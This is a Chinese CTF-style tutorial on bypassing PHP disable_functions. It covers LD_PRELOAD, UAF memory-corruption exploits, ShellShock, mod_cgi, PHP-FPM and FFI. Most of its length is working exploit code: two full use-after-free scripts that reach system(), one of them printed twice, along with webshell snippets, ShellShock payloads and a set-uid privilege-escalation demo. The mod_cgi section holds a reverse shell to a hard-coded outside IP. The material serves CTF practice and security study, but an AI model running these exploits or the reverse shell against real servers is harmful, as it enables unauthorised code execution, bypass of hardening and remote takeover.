PHP绕过disable_function限制
文章目录
- 0x01 LD_PRELOAD（环境变量，用于动态库的加载）
-
- 手动
- 使用蚁剑插件
- 0x02 寻找未禁用函数
- 0x03 uaf脚本绕过
-
- Backtrace UAF
- GC UAF
- Json Serializer UAF
- 0x04 使用php类绕过
- 0x05 ShellShock
- 0x06 Apache Mod CGI
- 0x07 PHP-FPM（FastCGI进程管理器）
- 0x08 PHP-FFI 扩展（让php能够调用C的函数）
-
- 法一，直接执行
- 法二，上传php文件
- 参考
0x01 LD_PRELOAD（环境变量，用于动态库的加载）
连接上蚁剑后，直接在终端里执行命令无法执行
手动
创建hack.c
#include 使用gcc转换为os文件
gcc -shared -fPIC hack.c -o getflag.so
将得到的os文件放到/tmp目录下
引导的PHP文件shell.php
putenv("LD_PRELOAD=/tmp/getflag.so");
mail("", "", "", "");
error_log("",1,"","");
?>
执行/?ant=include(‘shell.php’);
tmp下打开wx.txt拿到flag
使用蚁剑插件
或者直接使用蚁剑插件
运行生成一个.antproxy.php文件。
然后连接.antproxy.php
此时可以执行命令
0x02 寻找未禁用函数
一些读取目录的函数:
print_r(scandir("/"));
var_dump(scandir("/"));
读取文件的函数：
highlight_file('flag.php');
include('/flag');
show_source();
require();
0x03 uaf脚本绕过
Backtrace UAF
条件
注意 PHP 版本需要满足：
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date
例题：ctfshow-web入门72 + ctfhub-Backtrace UAF
题目进去就是这样的：
好家伙，题目源码里的函数都禁用了，代码都显示不出来
给了源码文件如下：
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗？
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗？
这道题有严格的disable_function限制和open_basedir限制。
先利用glob://伪协议绕过open_basedir，发现根目录下有flag0.txt
payload：
c=?>
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
然后用uaf脚本读取flag。
disable_function()限制了很多函数,可以直接用uaf脚本进行命令执行，原理是啥我也很懵。
脚本如下：
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦
题目二 ctfhub-Backtrace UAF
把上面的脚本改改上传就行了
ctfshow("tac /flag");ob_end_flush();
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
?>
上传
访问
GC UAF
条件
注意 PHP 版本需要满足：
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date
上传这个脚本https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass把命令改一下
访问上传的文件得到flag
Json Serializer UAF
条件
php版本：
7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
脚本：
$cmd = "tac /flag";
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
public static $leak;
}
class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
# unable to leak ro segments
public function leak1($addr) {
global $spl1;
$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}
# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;
# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);
$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);
$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000
if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}
$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();
# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;
# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry
# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}
# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}
# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;
$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}
# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}
# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}
# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
$spl1->offsetGet($cmd);
exit();
}
}
$y = [new Z()];
json_encode([&$y]);
上传这个php文件
访问，拿到flag
0x04 使用php类绕过
该方法使用php类来绕过，可以配置disable_classes来禁用类。
读目录
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
例：c=?>__toString().' ');};exit();
读文件
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
foreach($dbh->query('select load_file("/var/www/html/index.php")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
}
该方法来自：https://wp.ctf.show/d/142-ctfshow-web-web90-97
并且靶机必须有PDO模块，原理就是用PDO模块连接数据库然后通过load_file函数读取flag，因此连接的信息一栏需要自己根据情况修改$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');。
0x05 ShellShock
Shellshock，又称Bashdoor，是在Unix中广泛使用的Bash shell中的一个安全漏洞，首次于2014年9月24日公开。许多互联网守护进程，如网页服务器，使用bash来处理某些命令，从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。——摘自维基百科
环境搭建
以root权限安装4.1版bash（4.2版本以上的漏洞已经被堵上了）
bash4.1 原来的下载地址是 http://ftp/gnu.org/gnu/bash/bash-4.1.tar.gz ，
为了加快速度，我们这里使用下面的下载地址 http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
测试
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长，请等待一会
$ make && make install
#测试是否有bash漏洞，输出vulnerable的话,说明bash有漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
$ sudo ln -sf /bin/bash /bin/sh #最后，让/bin/sh 指向/bin/bash.
来看看ShellShock漏洞的真身(原理)：
Copy
export foo='() { :; }; echo Hello World'
bash
>Hello World
为什么调用bash的时候输出Hello World了呢？瞧瞧他内部的情况：
Copy
KEY = foo
VALUE = () { :; }; echo Hello World
bash读取了环境变量，在定义foo之后直接调用了后面的函数。 一旦调用bash，自定义的语句就直接触发。
新建一个shock.c
Copy
#include 编译，赋权
Copy
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock
设置其为set-uid程序
测试，先要退出管理员模式
Copy
exit
export foo='() { :; }; bash'
./shock
执行完会发现我们直接拥有了root权限
题解：
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
上传如下php，如果test中存在vulnerable则存在漏洞
@eval($_REQUEST['ant']);
putenv("PHP_test=() { :; }; echo vulnerable >> test");
//putenv — 设置环境变量的值
error_log("admin",1);
//error_log — 发送错误信息到某个地方，详细见PHP Manual
//mail("admin@localhost","","","","");
?>
上传shell.php，然后访问，即可在test中得到结果
@eval($_REQUEST['ant']);
putenv("PHP_test=() { :; }; tac /flag >> test");
error_log("admin",1);
?>
0x06 Apache Mod CGI
简介
CGI：
CGI简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程.
MOD_CGI：
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行，它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本，一种是文件具有已由AddType指令定义的扩展名，另一种是文件位于ScriptAlias目录中.
反弹shell exp
shell.php
$cmd = "bash -i >& /dev/tcp/121.196.196.190/6666 0>&1"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "
\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener "; //call the script
}
}
?>
上传shell.php，服务器监听端口，然后访问shell.php得到反弹的shell。
或者直接使用蚁剑插件，自动弹出虚拟终端
0x07 PHP-FPM（FastCGI进程管理器）
学习PHP-FPM可以参考：
攻击PHP-FPM 实现Bypass Disable Functions
Nginx+Php-fpm 运行原理详解
既然是攻击PHP-FPM，我们首先需要了解一下什么是PHP-FPM，研究过apache或者nginx的童鞋都知道，早期的websherver负责处理全部请求，其接收到请求，读取文件，传输过去，就像下面这样
www.baidu.com
|
|
webserver(apache)
|
|
webserver根据路径，读取/var/html/index.html
|
|
webserver将读取到的内容发回给客户端
但是后来发展到PHP这种动态语言，webserver处理不了咋办呢？
那么能不能让webserver增加功能来处理请求呢？当然不行，因为动态语言那么多，python、php、jsp、asp…以后说不定还有很多新的动态语言，websherver当然不干这么蠢的事情，于是webserver将请求转发给php解释器，让他们自己去处理。
当然webserver不是简单的转发请求包给php解释器，而是根据协议对其进行重新封装，这个协议就叫CGI协议，对其进行封装的就是CGI程序。（后来CGI协议和程序都升级了，改名叫Fast-CGI）
请求包封装好了，接下来要把它发给php，具体发到哪里呢？这里也就是发给PHP-FPM程序，PHP-FPM按照Fast-CGI的协议将TCP流解析成真正的数据。
于是动态页面的请求就像下面这样。
www.example.com/index.php
|
|
nginx
|
|
加载nginx的fast-cgi模块
|
|
fast-cgi对根据fast-cgi协议请求包进行封装，然后将封装好的包发给php-fpm
|
|
php-fpm 据fast-cgi协议将TCP流解析成真正的数据,调用php文件
|
|
php-fpm处理完请求，返回给nginx
|
|
nginx将结果通过http返回给浏览器
总结来说php-fpm是一个fastcgi协议解析器，负责按照fastcgi的协议将TCP流解析成真正的数据
PHP-FPM默认监听9000端口，我们可以自己构造fastcgi协议，和fpm进行通信。于是就有了利用 WebShell 直接与 PHP FastCGI (FPM) 来实现Bypass Disable Functions。
直接使用蚁剑插件打
连接.antproxy.php
0x08 PHP-FFI 扩展（让php能够调用C的函数）
FFI拓展学习
php7.4 FFI拓展——让php能够调用C的函数
法一，直接执行
使用如下payload拿到flag
ant=$ffi=FFI::cdef("int system(char* command);");$ffi ->system("tac /flag >> /var/www/html/index.php");
法二，上传php文件
或者上传如下PHP文件：
$ffi = FFI::cdef("int system(char* command);");
$ffi ->system("tac /flag >> /var/www/html/shell.php");
?>
访问两次shell.php得到flag
参考
https://www.cnblogs.com/zw1sh/p/12632126.html